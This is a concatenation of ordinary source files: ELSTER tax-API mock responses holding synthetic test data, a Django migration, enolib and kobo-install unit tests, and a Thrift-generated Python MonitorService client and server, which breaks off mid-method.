'server_err_msg': {'TH_RES_CODE': '0', 'TH_ERR_MSG': 'OK', 'NDH_ERR_XML': '<?xml version="1.0" encoding="UTF-8"?>\r\n<EricGetErrormessagesFromXMLAnswer xmlns="http://www.elster.de/EricXML/1.0/EricGetErrormessagesFromXMLAnswer">\r\n\t<Fehler>\r\n\t\t<Code>371015213</Code>\r\n\t\t<Meldung>Der Antrag auf Erteilung einer Berechtigung zum Datenabruf für diesen Dateninhaber bzw. der genehmigte Antrag auf Datenabruf (Berechtigung) ist bereits zurückgezogen worden.</Meldung>\r\n\t</Fehler>\r\n</EricGetErrormessagesFromXMLAnswer>'}
}
}
if keyword == 'get_address_no_resp':
return {
"address": "<AdrKette>\n <StrAdr>\n <Str>Üxhäüäö-áî-ÿñ-Å-Straße</Str>\n <HausNr>1101</HausNr>\n <Plz>34125</Plz>\n <Ort>Kassel</Ort>\n </StrAdr>\n </AdrKette>\n "
}
if keyword == 'get_address_with_resp':
return {
"address": "<AdrKette>\n <StrAdr>\n <Str>Üxhäüäö-áî-ÿñ-Å-Straße</Str>\n <HausNr>1101</HausNr>\n <Plz>34125</Plz>\n <Ort>Kassel</Ort>\n </StrAdr>\n </AdrKette>\n ",
"eric_response": "",
"server_response": "<Belege xmlns=\"http://www.elster.de/2002/XMLSchema\"><VaSt_Pers1 version=\"4\">\n <Inhaber>\n <NatPers>\n <QuellHinweis>01</QuellHinweis>\n <Vorname>MYRNA</Vorname>\n <NamensVorsatz>Szenario_1_Pers1_4_Testfall1</NamensVorsatz>\n <Name>COLAVITO</Name>\n <GebDat>19850101</GebDat>\n <SteuerIDs>\n <PersIdNr>04452397687</PersIdNr>\n </SteuerIDs>\n <AdrKette>\n <StrAdr>\n <Str>Üxhäüäö-áî-ÿñ-Å-Straße</Str>\n <HausNr>1101</HausNr>\n <Plz>34125</Plz>\n <Ort>Kassel</Ort>\n </StrAdr>\n </AdrKette>\n <BankKonto>\n <Blz>34270024</Blz>\n <Kontonummer>99999999</Kontonummer>\n <IBAN>DE18120300000012345678</IBAN>\n <BIC>BYLADEM1001</BIC>\n </BankKonto>\n </NatPers>\n </Inhaber>\n</VaSt_Pers1></Belege>",
}
if keyword == 'insufficient_privileges_no_resp':
return {
"detail": {
"code": 4,
"message": "ERIC_TRANSFER_ERR_XML_NHEADER",
"server_err_msg": {
"TH_RES_CODE": "0",
"TH_ERR_MSG": "Ihr Request wurde bearbeitet",
"NDH_ERR_XML": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<EricGetErrormessagesFromXMLAnswer xmlns=\"http://www.elster.de/EricXML/1.0/EricGetErrormessagesFromXMLAnswer\">\r\n\t<Fehler>\r\n\t\t<Code>080070313</Code>\r\n\t\t<Meldung>Sie besitzen nicht die benötigte Datenabrufberechtigung.</Meldung>\r\n\t</Fehler>\r\n</EricGetErrormessagesFromXMLAnswer>"
}
}
}
if keyword == 'insufficient_privileges_with_resp':
return {
"detail": {
"code": 4,
"message": "ERIC_TRANSFER_ERR_XML_NHEADER",
"server_err_msg": {
"TH_RES_CODE": "0",
"TH_ERR_MSG": "Ihr Request wurde bearbeitet",
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8f5c3d1135ae3d38276a46d6339e4316356a3d01 | 1,195 | py | Python | article/migrations/0055_auto_20181011_2133.py | higab85/drugsandme | 7db66d9687ac9a04132de94edda364f191d497d7 | [
"MIT"
] | 3 | 2016-10-10T10:07:39.000Z | 2018-10-29T19:57:52.000Z | article/migrations/0055_auto_20181011_2133.py | higab85/drugsandme | 7db66d9687ac9a04132de94edda364f191d497d7 | [
"MIT"
] | 12 | 2016-11-04T18:59:17.000Z | 2022-03-11T23:32:52.000Z | article/migrations/0055_auto_20181011_2133.py | higab85/drugsandme | 7db66d9687ac9a04132de94edda364f191d497d7 | [
"MIT"
] | 2 | 2016-09-29T22:48:26.000Z | 2019-10-01T19:55:14.000Z | # Generated by Django 2.0.9 on 2018-10-11 21:33
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('article', '0054_auto_20181009_1452'),
]
operations = [
migrations.AddField(
model_name='articlepage',
name='search_description_en',
field=models.TextField(blank=True),
),
migrations.AddField(
model_name='articlepage',
name='search_description_es',
field=models.TextField(blank=True),
),
migrations.AddField(
model_name='articlepage',
name='seo_title_en',
field=models.TextField(blank=True),
),
migrations.AddField(
model_name='articlepage',
name='seo_title_es',
field=models.TextField(blank=True),
),
migrations.AddField(
model_name='articlepage',
name='slug_en',
field=models.TextField(blank=True),
),
migrations.AddField(
model_name='articlepage',
name='slug_es',
field=models.TextField(blank=True),
),
]
| 27.159091 | 47 | 0.556485 | 111 | 1,195 | 5.81982 | 0.369369 | 0.167183 | 0.213622 | 0.250774 | 0.767802 | 0.767802 | 0.719814 | 0.719814 | 0.602167 | 0.602167 | 0 | 0.038799 | 0.331381 | 1,195 | 43 | 48 | 27.790698 | 0.769712 | 0.037657 | 0 | 0.648649 | 1 | 0 | 0.15331 | 0.05662 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.027027 | 0 | 0.108108 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
8f7e4348acdcffb519d13717d037cd7a04c2b5e4 | 2,505 | py | Python | python/tests/generated/api/fieldset/test_all_entries_required.py | eno-lang/enolib | 4175f7c1e8246493b6758c29bddc80d20eaf15f7 | [
"MIT"
] | 17 | 2019-04-15T21:03:37.000Z | 2022-01-24T11:03:34.000Z | python/tests/generated/api/fieldset/test_all_entries_required.py | eno-lang/enolib | 4175f7c1e8246493b6758c29bddc80d20eaf15f7 | [
"MIT"
] | 20 | 2019-03-13T23:23:40.000Z | 2022-03-29T13:40:57.000Z | python/tests/generated/api/fieldset/test_all_entries_required.py | eno-lang/enolib | 4175f7c1e8246493b6758c29bddc80d20eaf15f7 | [
"MIT"
] | 4 | 2019-04-15T21:18:03.000Z | 2019-09-21T16:18:10.000Z | import enolib
def test_querying_a_missing_entry_on_a_fieldset_when_all_entries_are_required_raises_the_expected_validationerror():
error = None
input = ("fieldset:")
try:
fieldset = enolib.parse(input).fieldset('fieldset')
fieldset.all_entries_required()
fieldset.entry('entry')
except enolib.ValidationError as _error:
if isinstance(_error, enolib.ValidationError):
error = _error
else:
raise _error
assert type(error) is enolib.ValidationError
text = ("The fieldset entry 'entry' is missing - in case it has been specified look for typos and also check for correct capitalization.")
assert error.text == text
def test_querying_a_missing_entry_on_a_fieldset_when_all_requiring_all_entries_is_explicitly_enabled_raises_the_expected_validationerror():
error = None
input = ("fieldset:")
try:
fieldset = enolib.parse(input).fieldset('fieldset')
fieldset.all_entries_required(True)
fieldset.entry('entry')
except enolib.ValidationError as _error:
if isinstance(_error, enolib.ValidationError):
error = _error
else:
raise _error
assert type(error) is enolib.ValidationError
text = ("The fieldset entry 'entry' is missing - in case it has been specified look for typos and also check for correct capitalization.")
assert error.text == text
def test_querying_a_missing_entry_on_a_fieldset_when_requiring_all_entries_is_explicitly_disabled_produces_the_expected_result():
input = ("fieldset:")
fieldset = enolib.parse(input).fieldset('fieldset')
fieldset.all_entries_required(False)
fieldset.entry('entry')
assert bool('it passes') is True
def test_querying_a_missing_entry_on_a_fieldset_when_requiring_all_entries_is_enabled_and_disabled_again_produces_the_expected_result():
input = ("fieldset:")
fieldset = enolib.parse(input).fieldset('fieldset')
fieldset.all_entries_required(True)
fieldset.all_entries_required(False)
fieldset.entry('entry')
assert bool('it passes') is True
def test_querying_a_missing_but_explicitly_optional_entry_on_a_fieldset_when_requiring_all_entries_is_enabled_produces_the_expected_result():
input = ("fieldset:")
fieldset = enolib.parse(input).fieldset('fieldset')
fieldset.all_entries_required()
fieldset.optional_entry('entry')
assert bool('it passes') is True | 32.960526 | 142 | 0.728543 | 307 | 2,505 | 5.57329 | 0.198697 | 0.121566 | 0.098188 | 0.091175 | 0.947399 | 0.923437 | 0.923437 | 0.923437 | 0.903565 | 0.903565 | 0 | 0 | 0.192814 | 2,505 | 76 | 143 | 32.960526 | 0.846192 | 0 | 0 | 0.86 | 0 | 0.04 | 0.156026 | 0 | 0 | 0 | 0 | 0 | 0.14 | 1 | 0.1 | false | 0.06 | 0.02 | 0 | 0.12 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 8 |
7120b1152e22f65f569e866c2406cd8c416cfdc0 | 5,510 | py | Python | kobo-install/tests/test_run.py | OpenOPx/kobotoolbox | ceee7e0740c8c74f33e5d2e36cb2cace0935abee | [
"MIT"
] | null | null | null | kobo-install/tests/test_run.py | OpenOPx/kobotoolbox | ceee7e0740c8c74f33e5d2e36cb2cace0935abee | [
"MIT"
] | null | null | null | kobo-install/tests/test_run.py | OpenOPx/kobotoolbox | ceee7e0740c8c74f33e5d2e36cb2cace0935abee | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from unittest.mock import patch, MagicMock
from helpers.command import Command
from .utils import (
read_config,
MockCommand,
MockDocker,
MockUpgrading,
)
@patch('helpers.network.Network.is_port_open',
MagicMock(return_value=False))
@patch('helpers.command.Upgrading.migrate_single_to_two_databases',
new=MockUpgrading.migrate_single_to_two_databases)
@patch('helpers.command.Command.info',
MagicMock(return_value=True))
@patch('helpers.cli.CLI.run_command',
new=MockCommand.run_command)
def test_toggle_trivial():
config = read_config()
Command.start()
mock_docker = MockDocker()
expected_containers = MockDocker.FRONTEND_CONTAINERS + \
MockDocker.PRIMARY_BACKEND_CONTAINERS + \
MockDocker.LETSENCRYPT
assert sorted(mock_docker.ps()) == sorted(expected_containers)
Command.stop()
assert len(mock_docker.ps()) == 0
del mock_docker
@patch('helpers.network.Network.is_port_open',
MagicMock(return_value=False))
@patch('helpers.command.Upgrading.migrate_single_to_two_databases',
new=MockUpgrading.migrate_single_to_two_databases)
@patch('helpers.command.Command.info',
MagicMock(return_value=True))
@patch('helpers.cli.CLI.run_command',
new=MockCommand.run_command)
def test_toggle_no_letsencrypt():
config_object = read_config()
config_object._Config__dict['use_letsencrypt'] = False
Command.start()
mock_docker = MockDocker()
expected_containers = MockDocker.FRONTEND_CONTAINERS + \
MockDocker.PRIMARY_BACKEND_CONTAINERS
assert sorted(mock_docker.ps()) == sorted(expected_containers)
Command.stop()
assert len(mock_docker.ps()) == 0
del mock_docker
@patch('helpers.network.Network.is_port_open',
MagicMock(return_value=False))
@patch('helpers.command.Upgrading.migrate_single_to_two_databases',
new=MockUpgrading.migrate_single_to_two_databases)
@patch('helpers.command.Command.info',
MagicMock(return_value=True))
@patch('helpers.cli.CLI.run_command',
new=MockCommand.run_command)
def test_toggle_frontend():
config_object = read_config()
Command.start(frontend_only=True)
mock_docker = MockDocker()
expected_containers = MockDocker.FRONTEND_CONTAINERS + \
MockDocker.LETSENCRYPT
assert sorted(mock_docker.ps()) == sorted(expected_containers)
Command.stop()
assert len(mock_docker.ps()) == 0
del mock_docker
@patch('helpers.network.Network.is_port_open',
MagicMock(return_value=False))
@patch('helpers.command.Upgrading.migrate_single_to_two_databases',
new=MockUpgrading.migrate_single_to_two_databases)
@patch('helpers.command.Command.info',
MagicMock(return_value=True))
@patch('helpers.cli.CLI.run_command',
new=MockCommand.run_command)
def test_toggle_primary_backend():
config_object = read_config()
config_object._Config__dict['backend_server_role'] = 'primary'
config_object._Config__dict['server_role'] = 'backend'
config_object._Config__dict['multi'] = True
Command.start()
mock_docker = MockDocker()
expected_containers = MockDocker.PRIMARY_BACKEND_CONTAINERS
assert sorted(mock_docker.ps()) == sorted(expected_containers)
Command.stop()
assert len(mock_docker.ps()) == 0
del mock_docker
@patch('helpers.network.Network.is_port_open',
MagicMock(return_value=False))
@patch('helpers.command.Upgrading.migrate_single_to_two_databases',
new=MockUpgrading.migrate_single_to_two_databases)
@patch('helpers.command.Command.info',
MagicMock(return_value=True))
@patch('helpers.cli.CLI.run_command',
new=MockCommand.run_command)
def test_toggle_secondary_backend():
config_object = read_config()
config_object._Config__dict['backend_server_role'] = 'secondary'
config_object._Config__dict['server_role'] = 'backend'
config_object._Config__dict['multi'] = True
mock_docker = MockDocker()
Command.start()
expected_containers = MockDocker.SECONDARY_BACKEND_CONTAINERS
assert sorted(mock_docker.ps()) == sorted(expected_containers)
Command.stop()
assert len(mock_docker.ps()) == 0
del mock_docker
@patch('helpers.network.Network.is_port_open',
MagicMock(return_value=False))
@patch('helpers.command.Upgrading.migrate_single_to_two_databases',
new=MockUpgrading.migrate_single_to_two_databases)
@patch('helpers.command.Command.info',
MagicMock(return_value=True))
@patch('helpers.cli.CLI.run_command',
new=MockCommand.run_command)
def test_toggle_maintenance():
config_object = read_config()
mock_docker = MockDocker()
Command.start()
expected_containers = MockDocker.FRONTEND_CONTAINERS + \
MockDocker.PRIMARY_BACKEND_CONTAINERS + \
MockDocker.LETSENCRYPT
assert sorted(mock_docker.ps()) == sorted(expected_containers)
config_object._Config__dict['maintenance_enabled'] = True
Command.start()
maintenance_containers = MockDocker.PRIMARY_BACKEND_CONTAINERS + \
MockDocker.MAINTENANCE_CONTAINERS + \
MockDocker.LETSENCRYPT
assert sorted(mock_docker.ps()) == sorted(maintenance_containers)
config_object._Config__dict['maintenance_enabled'] = False
Command.start()
assert sorted(mock_docker.ps()) == sorted(expected_containers)
Command.stop()
assert len(mock_docker.ps()) == 0
del mock_docker
| 35.320513 | 70 | 0.732305 | 639 | 5,510 | 5.978091 | 0.101721 | 0.068063 | 0.043979 | 0.056545 | 0.898168 | 0.898168 | 0.884031 | 0.860471 | 0.814398 | 0.78377 | 0 | 0.001508 | 0.157713 | 5,510 | 155 | 71 | 35.548387 | 0.82159 | 0.003811 | 0 | 0.795455 | 0 | 0 | 0.189756 | 0.161867 | 0 | 0 | 0 | 0 | 0.106061 | 1 | 0.045455 | false | 0 | 0.022727 | 0 | 0.068182 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
7140203bcd79e6c12248f68d879734f3aff18213 | 39,520 | py | Python | gen-py/nautilus/ControlService/MonitorService.py | hmn21/pyContoller | ad3b64436c4eaa9636936389ef29dde59bf0842b | [
"MIT"
] | null | null | null | gen-py/nautilus/ControlService/MonitorService.py | hmn21/pyContoller | ad3b64436c4eaa9636936389ef29dde59bf0842b | [
"MIT"
] | null | null | null | gen-py/nautilus/ControlService/MonitorService.py | hmn21/pyContoller | ad3b64436c4eaa9636936389ef29dde59bf0842b | [
"MIT"
] | null | null | null | #
# Autogenerated by Thrift Compiler (0.9.2)
#
# DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING
#
# options string: py
#
from thrift.Thrift import TType, TMessageType, TException, TApplicationException
from ttypes import *
from thrift.Thrift import TProcessor
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol, TProtocol
try:
from thrift.protocol import fastbinary
except:
fastbinary = None
class Iface:
def Ping(self, src):
"""
Parameters:
- src
"""
pass
def QryPosition(self, req):
"""
Parameters:
- req
"""
pass
def QryOrders(self, req):
"""
Parameters:
- req
"""
pass
def QryTrades(self, req):
"""
Parameters:
- req
"""
pass
def QryAuditOrders(self, qryStep):
"""
Parameters:
- qryStep
"""
pass
def PullOrders(self, req):
"""
Parameters:
- req
"""
pass
def PullTrades(self, req):
"""
Parameters:
- req
"""
pass
class Client(Iface):
def __init__(self, iprot, oprot=None):
self._iprot = self._oprot = iprot
if oprot is not None:
self._oprot = oprot
self._seqid = 0
def Ping(self, src):
"""
Parameters:
- src
"""
self.send_Ping(src)
return self.recv_Ping()
def send_Ping(self, src):
self._oprot.writeMessageBegin('Ping', TMessageType.CALL, self._seqid)
args = Ping_args()
args.src = src
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_Ping(self):
iprot = self._iprot
(fname, mtype, rseqid) = iprot.readMessageBegin()
if mtype == TMessageType.EXCEPTION:
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
raise x
result = Ping_result()
result.read(iprot)
iprot.readMessageEnd()
if result.success is not None:
return result.success
raise TApplicationException(TApplicationException.MISSING_RESULT, "Ping failed: unknown result");
def QryPosition(self, req):
"""
Parameters:
- req
"""
self.send_QryPosition(req)
return self.recv_QryPosition()
def send_QryPosition(self, req):
self._oprot.writeMessageBegin('QryPosition', TMessageType.CALL, self._seqid)
args = QryPosition_args()
args.req = req
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_QryPosition(self):
iprot = self._iprot
(fname, mtype, rseqid) = iprot.readMessageBegin()
if mtype == TMessageType.EXCEPTION:
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
raise x
result = QryPosition_result()
result.read(iprot)
iprot.readMessageEnd()
if result.success is not None:
return result.success
raise TApplicationException(TApplicationException.MISSING_RESULT, "QryPosition failed: unknown result");
def QryOrders(self, req):
"""
Parameters:
- req
"""
self.send_QryOrders(req)
return self.recv_QryOrders()
def send_QryOrders(self, req):
self._oprot.writeMessageBegin('QryOrders', TMessageType.CALL, self._seqid)
args = QryOrders_args()
args.req = req
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_QryOrders(self):
iprot = self._iprot
(fname, mtype, rseqid) = iprot.readMessageBegin()
if mtype == TMessageType.EXCEPTION:
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
raise x
result = QryOrders_result()
result.read(iprot)
iprot.readMessageEnd()
if result.success is not None:
return result.success
raise TApplicationException(TApplicationException.MISSING_RESULT, "QryOrders failed: unknown result");
def QryTrades(self, req):
"""
Parameters:
- req
"""
self.send_QryTrades(req)
return self.recv_QryTrades()
def send_QryTrades(self, req):
self._oprot.writeMessageBegin('QryTrades', TMessageType.CALL, self._seqid)
args = QryTrades_args()
args.req = req
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_QryTrades(self):
iprot = self._iprot
(fname, mtype, rseqid) = iprot.readMessageBegin()
if mtype == TMessageType.EXCEPTION:
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
raise x
result = QryTrades_result()
result.read(iprot)
iprot.readMessageEnd()
if result.success is not None:
return result.success
raise TApplicationException(TApplicationException.MISSING_RESULT, "QryTrades failed: unknown result");
def QryAuditOrders(self, qryStep):
"""
Parameters:
- qryStep
"""
self.send_QryAuditOrders(qryStep)
return self.recv_QryAuditOrders()
def send_QryAuditOrders(self, qryStep):
self._oprot.writeMessageBegin('QryAuditOrders', TMessageType.CALL, self._seqid)
args = QryAuditOrders_args()
args.qryStep = qryStep
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_QryAuditOrders(self):
iprot = self._iprot
(fname, mtype, rseqid) = iprot.readMessageBegin()
if mtype == TMessageType.EXCEPTION:
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
raise x
result = QryAuditOrders_result()
result.read(iprot)
iprot.readMessageEnd()
if result.success is not None:
return result.success
raise TApplicationException(TApplicationException.MISSING_RESULT, "QryAuditOrders failed: unknown result");
def PullOrders(self, req):
"""
Parameters:
- req
"""
self.send_PullOrders(req)
return self.recv_PullOrders()
def send_PullOrders(self, req):
self._oprot.writeMessageBegin('PullOrders', TMessageType.CALL, self._seqid)
args = PullOrders_args()
args.req = req
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_PullOrders(self):
iprot = self._iprot
(fname, mtype, rseqid) = iprot.readMessageBegin()
if mtype == TMessageType.EXCEPTION:
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
raise x
result = PullOrders_result()
result.read(iprot)
iprot.readMessageEnd()
if result.success is not None:
return result.success
raise TApplicationException(TApplicationException.MISSING_RESULT, "PullOrders failed: unknown result");
def PullTrades(self, req):
"""
Parameters:
- req
"""
self.send_PullTrades(req)
return self.recv_PullTrades()
def send_PullTrades(self, req):
self._oprot.writeMessageBegin('PullTrades', TMessageType.CALL, self._seqid)
args = PullTrades_args()
args.req = req
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_PullTrades(self):
iprot = self._iprot
(fname, mtype, rseqid) = iprot.readMessageBegin()
if mtype == TMessageType.EXCEPTION:
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
raise x
result = PullTrades_result()
result.read(iprot)
iprot.readMessageEnd()
if result.success is not None:
return result.success
raise TApplicationException(TApplicationException.MISSING_RESULT, "PullTrades failed: unknown result");
class Processor(Iface, TProcessor):
def __init__(self, handler):
self._handler = handler
self._processMap = {}
self._processMap["Ping"] = Processor.process_Ping
self._processMap["QryPosition"] = Processor.process_QryPosition
self._processMap["QryOrders"] = Processor.process_QryOrders
self._processMap["QryTrades"] = Processor.process_QryTrades
self._processMap["QryAuditOrders"] = Processor.process_QryAuditOrders
self._processMap["PullOrders"] = Processor.process_PullOrders
self._processMap["PullTrades"] = Processor.process_PullTrades
def process(self, iprot, oprot):
(name, type, seqid) = iprot.readMessageBegin()
if name not in self._processMap:
iprot.skip(TType.STRUCT)
iprot.readMessageEnd()
x = TApplicationException(TApplicationException.UNKNOWN_METHOD, 'Unknown function %s' % (name))
oprot.writeMessageBegin(name, TMessageType.EXCEPTION, seqid)
x.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
return
else:
self._processMap[name](self, seqid, iprot, oprot)
return True
def process_Ping(self, seqid, iprot, oprot):
args = Ping_args()
args.read(iprot)
iprot.readMessageEnd()
result = Ping_result()
result.success = self._handler.Ping(args.src)
oprot.writeMessageBegin("Ping", TMessageType.REPLY, seqid)
result.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
def process_QryPosition(self, seqid, iprot, oprot):
args = QryPosition_args()
args.read(iprot)
iprot.readMessageEnd()
result = QryPosition_result()
result.success = self._handler.QryPosition(args.req)
oprot.writeMessageBegin("QryPosition", TMessageType.REPLY, seqid)
result.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
def process_QryOrders(self, seqid, iprot, oprot):
args = QryOrders_args()
args.read(iprot)
iprot.readMessageEnd()
result = QryOrders_result()
result.success = self._handler.QryOrders(args.req)
oprot.writeMessageBegin("QryOrders", TMessageType.REPLY, seqid)
result.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
def process_QryTrades(self, seqid, iprot, oprot):
args = QryTrades_args()
args.read(iprot)
iprot.readMessageEnd()
result = QryTrades_result()
result.success = self._handler.QryTrades(args.req)
oprot.writeMessageBegin("QryTrades", TMessageType.REPLY, seqid)
result.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
def process_QryAuditOrders(self, seqid, iprot, oprot):
args = QryAuditOrders_args()
args.read(iprot)
iprot.readMessageEnd()
result = QryAuditOrders_result()
result.success = self._handler.QryAuditOrders(args.qryStep)
oprot.writeMessageBegin("QryAuditOrders", TMessageType.REPLY, seqid)
result.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
def process_PullOrders(self, seqid, iprot, oprot):
args = PullOrders_args()
args.read(iprot)
iprot.readMessageEnd()
result = PullOrders_result()
result.success = self._handler.PullOrders(args.req)
oprot.writeMessageBegin("PullOrders", TMessageType.REPLY, seqid)
result.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
def process_PullTrades(self, seqid, iprot, oprot):
args = PullTrades_args()
args.read(iprot)
iprot.readMessageEnd()
result = PullTrades_result()
result.success = self._handler.PullTrades(args.req)
oprot.writeMessageBegin("PullTrades", TMessageType.REPLY, seqid)
result.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
# HELPER FUNCTIONS AND STRUCTURES
class Ping_args:
"""
Attributes:
- src
"""
thrift_spec = (
None, # 0
(1, TType.STRING, 'src', None, None, ), # 1
)
def __init__(self, src=None,):
self.src = src
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.src = iprot.readString();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('Ping_args')
if self.src is not None:
oprot.writeFieldBegin('src', TType.STRING, 1)
oprot.writeString(self.src)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.src is None:
raise TProtocol.TProtocolException(message='Required field src is unset!')
return
def __hash__(self):
value = 17
value = (value * 31) ^ hash(self.src)
return value
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class Ping_result:
"""
Attributes:
- success
"""
thrift_spec = (
(0, TType.STRUCT, 'success', (nautilus.common.ttypes.Response, nautilus.common.ttypes.Response.thrift_spec), None, ), # 0
)
def __init__(self, success=None,):
self.success = success
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 0:
if ftype == TType.STRUCT:
self.success = nautilus.common.ttypes.Response()
self.success.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('Ping_result')
if self.success is not None:
oprot.writeFieldBegin('success', TType.STRUCT, 0)
self.success.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __hash__(self):
value = 17
value = (value * 31) ^ hash(self.success)
return value
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class QryPosition_args:
"""
Attributes:
- req
"""
thrift_spec = (
None, # 0
(1, TType.STRUCT, 'req', (nautilus.common.ttypes.Request, nautilus.common.ttypes.Request.thrift_spec), None, ), # 1
)
def __init__(self, req=None,):
self.req = req
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRUCT:
self.req = nautilus.common.ttypes.Request()
self.req.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('QryPosition_args')
if self.req is not None:
oprot.writeFieldBegin('req', TType.STRUCT, 1)
self.req.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.req is None:
raise TProtocol.TProtocolException(message='Required field req is unset!')
return
def __hash__(self):
value = 17
value = (value * 31) ^ hash(self.req)
return value
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class QryPosition_result:
"""
Attributes:
- success
"""
thrift_spec = (
(0, TType.STRUCT, 'success', (nautilus.common.ttypes.Response, nautilus.common.ttypes.Response.thrift_spec), None, ), # 0
)
def __init__(self, success=None,):
self.success = success
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 0:
